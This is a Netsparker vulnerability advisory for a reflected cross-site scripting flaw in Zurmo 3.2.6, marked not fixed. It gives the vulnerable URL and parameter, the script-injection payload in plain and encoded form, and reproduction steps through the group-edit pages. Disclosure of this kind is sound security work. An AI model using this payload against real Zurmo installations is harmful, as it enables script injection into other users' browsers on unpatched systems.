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Reflected Cross-site Scripting Vulnerability in Zurmo 3.2.6  
  
Information  
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Advisory by Netsparker  
Name: Reflected Cross-site Scripting in Zurmo  
Affected Software: Zurmo  
Affected Versions: 3.2.6  
Homepage: http://zurmo.org  
Vulnerability: Reflected Cross-site Scripting  
Severity: Critical  
Status: Not Fixed  
Netsparker Advisory Reference: NS-19-008  
  
Technical Details  
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URL: http://{DOMAIN}/zurmo/app/index.php/tasks/default/modalCreate?modalId=<scRipt>alert(“xss”)</scRipt>  
Parameter Name: modalId  
Parameter Type:GET  
Attack Pattern:%3cscRipt%3ealert("xss")%3c%2fscRipt%3e  
  
Vulnerability Repro  
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Visit http://{DOMAIN}/zurmo/app/index.php/zurmo/group/create and enter a random group name and save it. Edit the new group from http://{DOMAIN}/zurmo/app/index.php/zurmo/group and replace the name with the attack pattern. Save and navigate back to http://{DOMAIN}/zurmo/app/index.php/zurmo/group . You’ll see the XSS pop up.  
  
Advisory Timeline  
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17th May 2019 - First Attempted Contact  
24th July 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.